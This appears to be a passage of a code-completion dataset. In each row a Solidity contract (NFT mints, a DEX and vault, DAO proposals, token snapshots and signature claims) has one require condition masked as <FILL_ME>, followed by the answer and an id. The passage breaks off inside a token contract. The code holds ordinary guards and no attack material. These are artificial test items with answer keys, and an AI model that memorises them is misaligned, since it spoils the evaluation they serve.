using Strings for uint256;
// ============ Constants ============
uint256 private constant MAX_SUPPLY = 10_000;
uint96 private constant ROYALTIES_BPS = 500; // = 5%
uint96 private constant REVEALING_TIME = 24 hours;
uint256 private constant MAX_MINT_QUANTITY = 5;
uint256 private constant WHITELIST_QUANTITY = 500;
// ============ Variables ============
uint256 public price; // Price in native token with 18 decimals
bool public revealed;
address public royaltyReceiver;
string public baseTokenUri; // should have ending /
mapping(address => bool) public whitelistClaimed;
uint256 public whitelistNumberClaimed;
bytes32 public merkleRoot;
uint256 private _soldOutTimestamp;
string private _contractUri;
// ============ Events ============
event Revealed(string tokenUri);
event PriceUpdated(uint256 price);
event MerkleRootUpdated(bytes32 merkleRoot);
// ============ Methods ============
constructor(
address royaltiesReceiver,
uint256 price_,
string memory baseTokenUri_,
string memory contractUri_,
bytes32 merkleRoot_
) ERC721A("ElfVillages", "ELV") {
}
/**
* @param newBaseTokenUri revealed json URI address with ending /
*/
function reveal(string memory newBaseTokenUri) public onlyOwner {
}
function isWhitelisted(address addressToCheck, bytes32[] calldata merkleProof) public view returns (bool) {
}
/**
* @dev Merkle root of whitelisted addresses created eg. by merkletreejs
* @param merkleRoot_ merkle root of all whitelisted addresses
*/
function setMerkleRoot(bytes32 merkleRoot_) public onlyOwner {
}
function setPrice(uint256 newPrice) public onlyOwner {
}
function mint(uint256 quantity) external payable {
}
/**
* @param merkleProof merkle proof for sender's address
*/
function mintWhitelist(bytes32[] calldata merkleProof) external {
require(<FILL_ME>)
require(!whitelistClaimed[_msgSender()], "You can only mint 1 NFT for free");
require(whitelistNumberClaimed < WHITELIST_QUANTITY, "No whitelisted NFTs available");
require(isWhitelisted(_msgSender(), merkleProof), "Address not whitelisted");
whitelistClaimed[_msgSender()] = true;
whitelistNumberClaimed++;
_safeMint(_msgSender(), 1);
}
function withdraw() external payable onlyOwner {
}
function tokenURI(uint256 tokenId) public view override returns (string memory) {
}
/**
* @dev Link to contract level metadata json. See
* [Contract-level metadata](https://docs.opensea.io/docs/contract-level-metadata).
*/
function setContractURI(string memory newContractURI) public onlyOwner {
}
function contractURI() public view returns (string memory) {
}
function _startTokenId() internal pure override returns (uint256) {
}
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* [EIP section](https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified)
* to learn more about how these ids are created.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC721A, ERC2981) returns (bool) {
}
}
| _totalMinted()+1<=MAX_SUPPLY,"Sold out" | 216,195 | _totalMinted()+1<=MAX_SUPPLY |
"Address not whitelisted" | /*
███████ ██ ███████ ██ ██ ██ ██ ██ █████ ██████ ███████ ███████
██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██
█████ ██ █████ ██ ██ ██ ██ ██ ███████ ██ ███ █████ ███████
██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██
███████ ███████ ██ ████ ██ ███████ ███████ ██ ██ ██████ ███████ ███████
*/
pragma solidity ^0.8.0;
contract ElfVillages is ERC721A, ERC2981, Ownable {
using Strings for uint256;
// ============ Constants ============
uint256 private constant MAX_SUPPLY = 10_000;
uint96 private constant ROYALTIES_BPS = 500; // = 5%
uint96 private constant REVEALING_TIME = 24 hours;
uint256 private constant MAX_MINT_QUANTITY = 5;
uint256 private constant WHITELIST_QUANTITY = 500;
// ============ Variables ============
uint256 public price; // Price in native token with 18 decimals
bool public revealed;
address public royaltyReceiver;
string public baseTokenUri; // should have ending /
mapping(address => bool) public whitelistClaimed;
uint256 public whitelistNumberClaimed;
bytes32 public merkleRoot;
uint256 private _soldOutTimestamp;
string private _contractUri;
// ============ Events ============
event Revealed(string tokenUri);
event PriceUpdated(uint256 price);
event MerkleRootUpdated(bytes32 merkleRoot);
// ============ Methods ============
constructor(
address royaltiesReceiver,
uint256 price_,
string memory baseTokenUri_,
string memory contractUri_,
bytes32 merkleRoot_
) ERC721A("ElfVillages", "ELV") {
}
/**
* @param newBaseTokenUri revealed json URI address with ending /
*/
function reveal(string memory newBaseTokenUri) public onlyOwner {
}
function isWhitelisted(address addressToCheck, bytes32[] calldata merkleProof) public view returns (bool) {
}
/**
* @dev Merkle root of whitelisted addresses created eg. by merkletreejs
* @param merkleRoot_ merkle root of all whitelisted addresses
*/
function setMerkleRoot(bytes32 merkleRoot_) public onlyOwner {
}
function setPrice(uint256 newPrice) public onlyOwner {
}
function mint(uint256 quantity) external payable {
}
/**
* @param merkleProof merkle proof for sender's address
*/
function mintWhitelist(bytes32[] calldata merkleProof) external {
require(_totalMinted() + 1 <= MAX_SUPPLY, "Sold out");
require(!whitelistClaimed[_msgSender()], "You can only mint 1 NFT for free");
require(whitelistNumberClaimed < WHITELIST_QUANTITY, "No whitelisted NFTs available");
require(<FILL_ME>)
whitelistClaimed[_msgSender()] = true;
whitelistNumberClaimed++;
_safeMint(_msgSender(), 1);
}
function withdraw() external payable onlyOwner {
}
function tokenURI(uint256 tokenId) public view override returns (string memory) {
}
/**
* @dev Link to contract level metadata json. See
* [Contract-level metadata](https://docs.opensea.io/docs/contract-level-metadata).
*/
function setContractURI(string memory newContractURI) public onlyOwner {
}
function contractURI() public view returns (string memory) {
}
function _startTokenId() internal pure override returns (uint256) {
}
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* [EIP section](https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified)
* to learn more about how these ids are created.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC721A, ERC2981) returns (bool) {
}
}
| isWhitelisted(_msgSender(),merkleProof),"Address not whitelisted" | 216,195 | isWhitelisted(_msgSender(),merkleProof) |
"Limit exceeded" | pragma solidity ^0.8.7;
contract CloudyMe is ERC721A, Ownable{
uint256 public MAX_SUPPLY = 5555;
uint256 public FREE_MINT = 2;
uint256 public MINT_LIMIT = 10;
uint256 public MINT_PRICE = 0.0055 ether;
string public baseTokenURI;
bool public isOpenMint = false;
address public signAddress;
mapping(address=>uint256) public mintedAmount;
constructor(string memory _baseTokenUri,address _signAddress) ERC721A("Cloudy Me", "CM"){
}
function mint(address to,uint256 amount) external payable{
require(isOpenMint,"Not during open hours");
require(totalSupply() + amount <= MAX_SUPPLY,"Minted completed");
require(<FILL_ME>)
if(mintedAmount[to] >= FREE_MINT){
require(msg.value >= amount * MINT_PRICE,"Not paying enough fees");
}else if(mintedAmount[to] + amount > FREE_MINT){
require(msg.value >= (mintedAmount[to] + amount - FREE_MINT) * MINT_PRICE,"Not paying enough fees");
}
mintedAmount[to]+=amount;
_mint(to,amount);
}
function wlMint(address to,uint256 amount,bytes memory _singature)external payable{
}
function ownerMint(address to ,uint256 amount)external onlyOwner{
}
function setFreeMint(uint256 _freeMint)external onlyOwner{
}
function setOpenMint(bool _isOpenMint) external onlyOwner{
}
function setMaxSupply(uint256 _MAX_SUPPLY)external onlyOwner{
}
function setSignedAddress(address _signAddress)external onlyOwner{
}
function setBaseTokenURI(string calldata _uri) external onlyOwner {
}
function withdrawMoney() external onlyOwner{
}
function _baseURI() internal override view returns (string memory) {
}
function tokenURI(uint256 tokenId) public view override returns (string memory)
{
}
function _startTokenId() internal pure override returns (uint256) {
}
}
| mintedAmount[to]+amount<=MINT_LIMIT,"Limit exceeded" | 216,341 | mintedAmount[to]+amount<=MINT_LIMIT |
"Not paying enough fees" | pragma solidity ^0.8.7;
contract CloudyMe is ERC721A, Ownable{
uint256 public MAX_SUPPLY = 5555;
uint256 public FREE_MINT = 2;
uint256 public MINT_LIMIT = 10;
uint256 public MINT_PRICE = 0.0055 ether;
string public baseTokenURI;
bool public isOpenMint = false;
address public signAddress;
mapping(address=>uint256) public mintedAmount;
constructor(string memory _baseTokenUri,address _signAddress) ERC721A("Cloudy Me", "CM"){
}
function mint(address to,uint256 amount) external payable{
require(isOpenMint,"Not during open hours");
require(totalSupply() + amount <= MAX_SUPPLY,"Minted completed");
require(mintedAmount[to] + amount <= MINT_LIMIT,"Limit exceeded");
if(mintedAmount[to] >= FREE_MINT){
require(msg.value >= amount * MINT_PRICE,"Not paying enough fees");
}else if(mintedAmount[to] + amount > FREE_MINT){
require(<FILL_ME>)
}
mintedAmount[to]+=amount;
_mint(to,amount);
}
function wlMint(address to,uint256 amount,bytes memory _singature)external payable{
}
function ownerMint(address to ,uint256 amount)external onlyOwner{
}
function setFreeMint(uint256 _freeMint)external onlyOwner{
}
function setOpenMint(bool _isOpenMint) external onlyOwner{
}
function setMaxSupply(uint256 _MAX_SUPPLY)external onlyOwner{
}
function setSignedAddress(address _signAddress)external onlyOwner{
}
function setBaseTokenURI(string calldata _uri) external onlyOwner {
}
function withdrawMoney() external onlyOwner{
}
function _baseURI() internal override view returns (string memory) {
}
function tokenURI(uint256 tokenId) public view override returns (string memory)
{
}
function _startTokenId() internal pure override returns (uint256) {
}
}
| msg.value>=(mintedAmount[to]+amount-FREE_MINT)*MINT_PRICE,"Not paying enough fees" | 216,341 | msg.value>=(mintedAmount[to]+amount-FREE_MINT)*MINT_PRICE |
"You're not on the whitelist" | pragma solidity ^0.8.7;
contract CloudyMe is ERC721A, Ownable{
uint256 public MAX_SUPPLY = 5555;
uint256 public FREE_MINT = 2;
uint256 public MINT_LIMIT = 10;
uint256 public MINT_PRICE = 0.0055 ether;
string public baseTokenURI;
bool public isOpenMint = false;
address public signAddress;
mapping(address=>uint256) public mintedAmount;
constructor(string memory _baseTokenUri,address _signAddress) ERC721A("Cloudy Me", "CM"){
}
function mint(address to,uint256 amount) external payable{
}
function wlMint(address to,uint256 amount,bytes memory _singature)external payable{
require(<FILL_ME>)
require(totalSupply() + amount <= MAX_SUPPLY,"Minted completed");
require(mintedAmount[to] + amount <= MINT_LIMIT,"Limit exceeded");
if(mintedAmount[to] >= FREE_MINT){
require(msg.value >= amount * MINT_PRICE,"Not paying enough fees");
}else if(mintedAmount[to] + amount > FREE_MINT){
require(msg.value >= (mintedAmount[to] + amount - FREE_MINT) * MINT_PRICE,"Not paying enough fees");
}
mintedAmount[to]+=amount;
_mint(to,amount);
}
function ownerMint(address to ,uint256 amount)external onlyOwner{
}
function setFreeMint(uint256 _freeMint)external onlyOwner{
}
function setOpenMint(bool _isOpenMint) external onlyOwner{
}
function setMaxSupply(uint256 _MAX_SUPPLY)external onlyOwner{
}
function setSignedAddress(address _signAddress)external onlyOwner{
}
function setBaseTokenURI(string calldata _uri) external onlyOwner {
}
function withdrawMoney() external onlyOwner{
}
function _baseURI() internal override view returns (string memory) {
}
function tokenURI(uint256 tokenId) public view override returns (string memory)
{
}
function _startTokenId() internal pure override returns (uint256) {
}
}
| ECDSA.recover(ECDSA.toEthSignedMessageHash(keccak256(abi.encodePacked(to,amount))),_singature)==signAddress,"You're not on the whitelist" | 216,341 | ECDSA.recover(ECDSA.toEthSignedMessageHash(keccak256(abi.encodePacked(to,amount))),_singature)==signAddress |
'Permission denied: Operator or Vault' | // SPDX-License-Identifier: MIT
pragma solidity 0.8.17;
import { IVault } from './Vault.sol';
import { IERC20 } from '../node_modules/@openzeppelin/contracts/token/ERC20/IERC20.sol';
import { IDex } from './IDex.sol';
contract Dex is IDex {
struct RateValues {
uint256 stable;
uint256 own;
}
bool public isPaused = true;
// Переменные используемые для вычисления цены
RateValues public rateValues;
IERC20 public ownCoin;
IERC20 public stableCoin;
IVault public vaultContract;
address private owner;
mapping (address => bool) private operators;
mapping (address => RateValues) private bookingPrices;
event BuyToken(address user, uint256 onwCoinAmount, uint256 stableCoinAmount);
event SellToken(address user, uint256 onwCoinAmount, uint256 stableCoinAmount);
event UpdatePrice(RateValues rateValues);
// Модификатор доступа владельца
modifier OnlyOwner() {
}
// Модификатор доступа оператора
modifier OnlyOperator() {
}
// Модификатор доступа оператора или хранилища
modifier OnlyOperatorOrVault() {
require(<FILL_ME>)
_;
}
// Модификатор доступа хранилища
modifier OnlyVault() {
}
modifier NotPaused() {
}
constructor() {
}
function _setPause(bool pause) public OnlyOwner {
}
// Сменить владельца
function _changeOwner(address newOwner) public OnlyOwner {
}
// Установить стейбл-коин
function _setStableCoin(address tokenAddress) public OnlyOwner {
}
// Установить свой коин
function _setOwnCoin(address tokenAddress) public OnlyOwner {
}
// Установить контракт хранилища
function _setVaultContract(address vaultAddress) public OnlyOwner {
}
// Добавить оператора
function _addOperator(address operator) public OnlyOwner {
}
// Удалить оператора
function _removeOperator(address operator) public OnlyOwner {
}
// Установить rateValues
function _setPriceRate(uint256 stable, uint256 own) public OnlyOperatorOrVault {
}
// Обмен stableCoin на ownCoin
function deposit(uint256 maxAmountToSell, uint256 amountToBuy) public NotPaused {
}
// Обмен ownCoin на stableCoin
function withdraw(uint256 maxAmountToSell, uint256 amountToBuy) public NotPaused returns (bool) {
}
// Завершение сделки по бронированию
function _completeBooking(address recepient, uint256 amountToBuy) public OnlyVault NotPaused {
}
// Отмена бронирования, если оно было
function cancelBooking() public {
}
}
| (operators[msg.sender]||address(vaultContract)==msg.sender),'Permission denied: Operator or Vault' | 216,476 | (operators[msg.sender]||address(vaultContract)==msg.sender) |
'Permission denied: Vault' | // SPDX-License-Identifier: MIT
pragma solidity 0.8.17;
import { IVault } from './Vault.sol';
import { IERC20 } from '../node_modules/@openzeppelin/contracts/token/ERC20/IERC20.sol';
import { IDex } from './IDex.sol';
contract Dex is IDex {
struct RateValues {
uint256 stable;
uint256 own;
}
bool public isPaused = true;
// Переменные используемые для вычисления цены
RateValues public rateValues;
IERC20 public ownCoin;
IERC20 public stableCoin;
IVault public vaultContract;
address private owner;
mapping (address => bool) private operators;
mapping (address => RateValues) private bookingPrices;
event BuyToken(address user, uint256 onwCoinAmount, uint256 stableCoinAmount);
event SellToken(address user, uint256 onwCoinAmount, uint256 stableCoinAmount);
event UpdatePrice(RateValues rateValues);
// Модификатор доступа владельца
modifier OnlyOwner() {
}
// Модификатор доступа оператора
modifier OnlyOperator() {
}
// Модификатор доступа оператора или хранилища
modifier OnlyOperatorOrVault() {
}
// Модификатор доступа хранилища
modifier OnlyVault() {
require(<FILL_ME>)
_;
}
modifier NotPaused() {
}
constructor() {
}
function _setPause(bool pause) public OnlyOwner {
}
// Сменить владельца
function _changeOwner(address newOwner) public OnlyOwner {
}
// Установить стейбл-коин
function _setStableCoin(address tokenAddress) public OnlyOwner {
}
// Установить свой коин
function _setOwnCoin(address tokenAddress) public OnlyOwner {
}
// Установить контракт хранилища
function _setVaultContract(address vaultAddress) public OnlyOwner {
}
// Добавить оператора
function _addOperator(address operator) public OnlyOwner {
}
// Удалить оператора
function _removeOperator(address operator) public OnlyOwner {
}
// Установить rateValues
function _setPriceRate(uint256 stable, uint256 own) public OnlyOperatorOrVault {
}
// Обмен stableCoin на ownCoin
function deposit(uint256 maxAmountToSell, uint256 amountToBuy) public NotPaused {
}
// Обмен ownCoin на stableCoin
function withdraw(uint256 maxAmountToSell, uint256 amountToBuy) public NotPaused returns (bool) {
}
// Завершение сделки по бронированию
function _completeBooking(address recepient, uint256 amountToBuy) public OnlyVault NotPaused {
}
// Отмена бронирования, если оно было
function cancelBooking() public {
}
}
| address(vaultContract)==msg.sender,'Permission denied: Vault' | 216,476 | address(vaultContract)==msg.sender |
'Price has been increased' | // SPDX-License-Identifier: MIT
pragma solidity 0.8.17;
import { IVault } from './Vault.sol';
import { IERC20 } from '../node_modules/@openzeppelin/contracts/token/ERC20/IERC20.sol';
import { IDex } from './IDex.sol';
contract Dex is IDex {
struct RateValues {
uint256 stable;
uint256 own;
}
bool public isPaused = true;
// Переменные используемые для вычисления цены
RateValues public rateValues;
IERC20 public ownCoin;
IERC20 public stableCoin;
IVault public vaultContract;
address private owner;
mapping (address => bool) private operators;
mapping (address => RateValues) private bookingPrices;
event BuyToken(address user, uint256 onwCoinAmount, uint256 stableCoinAmount);
event SellToken(address user, uint256 onwCoinAmount, uint256 stableCoinAmount);
event UpdatePrice(RateValues rateValues);
// Модификатор доступа владельца
modifier OnlyOwner() {
}
// Модификатор доступа оператора
modifier OnlyOperator() {
}
// Модификатор доступа оператора или хранилища
modifier OnlyOperatorOrVault() {
}
// Модификатор доступа хранилища
modifier OnlyVault() {
}
modifier NotPaused() {
}
constructor() {
}
function _setPause(bool pause) public OnlyOwner {
}
// Сменить владельца
function _changeOwner(address newOwner) public OnlyOwner {
}
// Установить стейбл-коин
function _setStableCoin(address tokenAddress) public OnlyOwner {
}
// Установить свой коин
function _setOwnCoin(address tokenAddress) public OnlyOwner {
}
// Установить контракт хранилища
function _setVaultContract(address vaultAddress) public OnlyOwner {
}
// Добавить оператора
function _addOperator(address operator) public OnlyOwner {
}
// Удалить оператора
function _removeOperator(address operator) public OnlyOwner {
}
// Установить rateValues
function _setPriceRate(uint256 stable, uint256 own) public OnlyOperatorOrVault {
}
// Обмен stableCoin на ownCoin
function deposit(uint256 maxAmountToSell, uint256 amountToBuy) public NotPaused {
require(<FILL_ME>)
uint256 realAmountToSell = amountToBuy * rateValues.stable / rateValues.own;
require(realAmountToSell > 0, 'Too little amout to sell');
require(amountToBuy > 0, 'Too little amout to buy');
vaultContract._setAllowance(ownCoin, address(this), amountToBuy);
stableCoin.transferFrom(msg.sender, address(vaultContract), realAmountToSell);
ownCoin.transferFrom(address(vaultContract), msg.sender, amountToBuy);
emit BuyToken(msg.sender, amountToBuy, realAmountToSell);
}
// Обмен ownCoin на stableCoin
function withdraw(uint256 maxAmountToSell, uint256 amountToBuy) public NotPaused returns (bool) {
}
// Завершение сделки по бронированию
function _completeBooking(address recepient, uint256 amountToBuy) public OnlyVault NotPaused {
}
// Отмена бронирования, если оно было
function cancelBooking() public {
}
}
| (maxAmountToSell*rateValues.own>=rateValues.stable*amountToBuy),'Price has been increased' | 216,476 | (maxAmountToSell*rateValues.own>=rateValues.stable*amountToBuy) |
'Price has been decreased' | // SPDX-License-Identifier: MIT
pragma solidity 0.8.17;
import { IVault } from './Vault.sol';
import { IERC20 } from '../node_modules/@openzeppelin/contracts/token/ERC20/IERC20.sol';
import { IDex } from './IDex.sol';
contract Dex is IDex {
struct RateValues {
uint256 stable;
uint256 own;
}
bool public isPaused = true;
// Переменные используемые для вычисления цены
RateValues public rateValues;
IERC20 public ownCoin;
IERC20 public stableCoin;
IVault public vaultContract;
address private owner;
mapping (address => bool) private operators;
mapping (address => RateValues) private bookingPrices;
event BuyToken(address user, uint256 onwCoinAmount, uint256 stableCoinAmount);
event SellToken(address user, uint256 onwCoinAmount, uint256 stableCoinAmount);
event UpdatePrice(RateValues rateValues);
// Модификатор доступа владельца
modifier OnlyOwner() {
}
// Модификатор доступа оператора
modifier OnlyOperator() {
}
// Модификатор доступа оператора или хранилища
modifier OnlyOperatorOrVault() {
}
// Модификатор доступа хранилища
modifier OnlyVault() {
}
modifier NotPaused() {
}
constructor() {
}
function _setPause(bool pause) public OnlyOwner {
}
// Сменить владельца
function _changeOwner(address newOwner) public OnlyOwner {
}
// Установить стейбл-коин
function _setStableCoin(address tokenAddress) public OnlyOwner {
}
// Установить свой коин
function _setOwnCoin(address tokenAddress) public OnlyOwner {
}
// Установить контракт хранилища
function _setVaultContract(address vaultAddress) public OnlyOwner {
}
// Добавить оператора
function _addOperator(address operator) public OnlyOwner {
}
// Удалить оператора
function _removeOperator(address operator) public OnlyOwner {
}
// Установить rateValues
function _setPriceRate(uint256 stable, uint256 own) public OnlyOperatorOrVault {
}
// Обмен stableCoin на ownCoin
function deposit(uint256 maxAmountToSell, uint256 amountToBuy) public NotPaused {
}
// Обмен ownCoin на stableCoin
function withdraw(uint256 maxAmountToSell, uint256 amountToBuy) public NotPaused returns (bool) {
require(<FILL_ME>)
uint256 availableAmount = vaultContract.getAvailableAmount();
// Если в хранилище нет доступного баланса, делаем букинг
if (availableAmount < amountToBuy) {
vaultContract._makeBooking(msg.sender, amountToBuy);
bookingPrices[msg.sender] = RateValues({
stable: rateValues.stable,
own: rateValues.own
});
return false;
}
uint256 realAmountToSell = amountToBuy * rateValues.own / rateValues.stable;
require(realAmountToSell > 0, 'Too little amout to sell');
require(amountToBuy > 0, 'Too little amout to buy');
vaultContract._setAllowance(stableCoin, address(this), amountToBuy);
ownCoin.transferFrom(msg.sender, address(vaultContract), realAmountToSell);
stableCoin.transferFrom(address(vaultContract), msg.sender, amountToBuy);
emit SellToken(msg.sender, realAmountToSell, amountToBuy);
return true;
}
// Завершение сделки по бронированию
function _completeBooking(address recepient, uint256 amountToBuy) public OnlyVault NotPaused {
}
// Отмена бронирования, если оно было
function cancelBooking() public {
}
}
| (amountToBuy*rateValues.own<=rateValues.stable*maxAmountToSell),'Price has been decreased' | 216,476 | (amountToBuy*rateValues.own<=rateValues.stable*maxAmountToSell) |
"AccessControl: sender must have role SNAPSHOT_ROLE" | pragma solidity ^0.8.7;
contract SPUMEToken is ERC20Snapshot, AccessControl{
// Create snapshot role
bytes32 public constant SNAPSHOT_ROLE = keccak256("SNAPSHOT_ROLE");
constructor(uint256 initialSupply) ERC20("Spume", "SPUME"){
}
function snapshot() public returns (uint256){
require(<FILL_ME>)
return _snapshot();
}
}
| hasRole(SNAPSHOT_ROLE,msg.sender),"AccessControl: sender must have role SNAPSHOT_ROLE" | 216,479 | hasRole(SNAPSHOT_ROLE,msg.sender) |
"Ownable: caller is not the moderator" | /**
*Submitted for verification at Etherscan.io on 2022-11-24
*/
/**
*Submitted for verification at Etherscan.io on 2022-09-28
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.17;
interface IERC165 {
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
interface IERC721 is IERC165 {
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
function balanceOf(address owner) external view returns (uint256 balance);
function ownerOf(uint256 tokenId) external view returns (address owner);
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes calldata data
) external;
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external;
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
function approve(address to, uint256 tokenId) external;
function setApprovalForAll(address operator, bool _approved) external;
function getApproved(uint256 tokenId) external view returns (address operator);
function isApprovedForAll(address owner, address operator) external view returns (bool);
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract HangryDAO{
// variables
uint256 public counters;
// mapping
mapping(address=>bool) public admins;
mapping(address=>bool) public moderators;
mapping(uint256=>proposal) public submittedProposal;
constructor() {
}
//////////////////////////////////////////////
// structure
struct proposal{
uint256 proposalID;
string title;
string description;
uint256 startingDate;
uint256 endingDate;
bool poll;
string result;
bool approved;
}
// modifiers
modifier OnlyAdmin(){
}
modifier Onlymoderators(){
require(<FILL_ME>)
_;
}
//////////////////////////////////////////////
//admin functionality
// ADMIN of the contract make new admins
// param _Addr : new admin address
// only callable by any of the existing admins
function addAdmins(address _Addr) public OnlyAdmin {
}
// ADMIN of the contract remove admins
// param _Addr : existing admin address
// only callable by any of the existing admins
function removeAdmins(address _Addr) public OnlyAdmin {
}
// ADMIN of the contract add moderators
// param _Addr : new moderator address
// only callable by any of the existing admins
function addModerator(address _Addr) public OnlyAdmin {
}
// ADMIN of the contract remove moderators
// param _Addr : existing moderator address
// only callable by any of the existing admins
function removeModerator(address _Addr) public OnlyAdmin {
}
//////////////////////////////////////////////
//modifiers functionality
// moderator of this contract can add the proposal
// params _title: is the title of proposal (a string)
// _description: description of the proposal (a string)
// _ending time: end time of proposal (integer)
// _poll: must be in true/false (boolean)
// _result: result of the proposal (a string)
function createProposal( string memory _title, string memory _description,/* uint256 _startingDate,*/
uint256 _endingDate, bool _poll, string memory _result) public Onlymoderators {
}
// only moderator address can delete the some specific proposal
// param _countNumber : proposal number
function deleteProposal(uint256 _countNumber) public Onlymoderators {
}
// only moderator address can approved the some specific proposal
// param _countNumber : proposal number
// _status : is the status of proposal must be in true/false (boolean)
function approvedProposal(uint256 _countNumber,bool _status) public Onlymoderators{
}
// only moderator address can edit the the some specific proposal
// param _proposalID : is proposal number (integer)
// params _title: is the title of proposal (a string)
// _description: description of the proposal (a string)
// _ending time: end time of proposal (integer)
// _poll: must be in true/false (boolean)
// _result: result of the proposal (a string)
function editProposal(uint256 _proposalID, string memory _title, string memory _description,/* uint256 _startingDate,*/
uint256 _endingDate, bool _poll, string memory _result) public Onlymoderators {
}
// recieves the eth
receive() external payable {
}
//owner withdrawal
// param _addr : erc20 token address
// _amount : number of tokens
function withdrawERC(IERC20 _addr,uint256 _amount) public OnlyAdmin{
}
//owner withdrawal
// param _addr : erc721 token address
// _amount : tokenID
function withdrawERC721(IERC721 _addr,uint256 _amount) public OnlyAdmin{
}
//owner withdrawal
// _amount : number of eth to withdraw
function rescueEther(uint256 _amount) public OnlyAdmin{
}
function depositNFT(IERC721 _NFTaddr,uint256 _tokenID) public OnlyAdmin{
}
}
| moderators[msg.sender]==true,"Ownable: caller is not the moderator" | 216,481 | moderators[msg.sender]==true |
"Nonce has already been used" | pragma solidity ^0.8.11;
contract UrbsToken is ERC20, Ownable, ReentrancyGuard {
uint256 public constant MAX_SUPPLY = 420000000000 * 10 ** 18;
mapping(uint256 => bool) usedNonces;
address public gameWallet;
event TokensTransferredWithSignature(
address indexed signer,
address indexed receiver,
uint256 quantity
);
event GameWalletUpdated(address indexed newGameWallet);
constructor() ERC20("Urbs Token", "URBS") {}
function mint(address to, uint256 amount) public onlyOwner {
}
function setGameWallet(address _gameWallet) public onlyOwner {
}
function isGameWallet(address account) public view returns (bool) {
}
function claimPayment(
address to,
uint256 amount,
uint256 nonce,
bytes memory sig
) public nonReentrant {
require(<FILL_ME>)
usedNonces[nonce] = true;
bytes32 message = keccak256(
abi.encodePacked(to, amount, nonce, address(this))
);
bytes32 prefixedMessage = ECDSA.toEthSignedMessageHash(message);
address recoveredAddress = recoverSigner(prefixedMessage, sig);
require(recoveredAddress == gameWallet, "Signature is not valid!");
_transfer(gameWallet, to, amount);
emit TokensTransferredWithSignature(recoveredAddress, to, amount);
}
function recoverSigner(
bytes32 message,
bytes memory sig
) internal pure returns (address) {
}
}
| !usedNonces[nonce],"Nonce has already been used" | 216,605 | !usedNonces[nonce] |
"exists" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
contract ProposalRegistry {
enum VotingType {
Single,
Weighted
}
// proposal data
struct Proposal {
uint256 deadline;
uint256 maxIndex;
VotingType _type;
}
address public governance;
// bytes32 of snapshot IPFS hash id for a given proposal
mapping(bytes32 => Proposal) public proposalInfo;
/* ========== EVENT ========== */
event Initiated(bytes32 _proposal);
constructor(address _governance) {
}
/***************************************
MODIFIER
****************************************/
modifier onlyGovernance() {
}
/***************************************
ADMIN - GOVERNANCE
****************************************/
function initiateProposal(
bytes32 _proposal,
uint256 _deadline,
uint256 _maxIndex,
uint8 _type
) public onlyGovernance {
require(<FILL_ME>)
require(_deadline > block.timestamp, "invalid deadline");
require(_type <= uint8(VotingType.Weighted), "out range");
proposalInfo[_proposal].deadline = _deadline;
proposalInfo[_proposal].maxIndex = _maxIndex;
emit Initiated(_proposal);
}
}
| proposalInfo[_proposal].deadline==0,"exists" | 216,721 | proposalInfo[_proposal].deadline==0 |
"Can't be more than 3%" | // SPDX-License-Identifier:MIT
pragma solidity ^0.8.10;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
// Dex Factory contract interface
interface IDexFactory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
// Dex Router contract interface
interface IDexRouter {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
function addLiquidity(
address tokenA,
address tokenB,
uint256 amountADesired,
uint256 amountBDesired,
uint256 amountAMin,
uint256 amountBMin,
address to,
uint256 deadline
)
external
returns (
uint256 amountA,
uint256 amountB,
uint256 liquidity
);
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function swapExactETHForTokens(
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external payable returns (uint256[] memory amounts);
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
}
function _msgData() internal view virtual returns (bytes memory) {
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
}
function owner() public view returns (address) {
}
modifier onlyOwner() {
}
function renounceOwnership() public virtual onlyOwner {
}
function transferOwnership(address newOwner) public virtual onlyOwner {
}
}
contract Token is Context, IERC20, Ownable {
using SafeMath for uint256;
address USDT = 0xdAC17F958D2ee523a2206206994597C13D831ec7;
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) public dexPair;
mapping(address => bool) public isExcludedFromFee;
string private _name = "AipeGPT";
string private _symbol = "$AipeGPT";
uint8 private _decimals = 18;
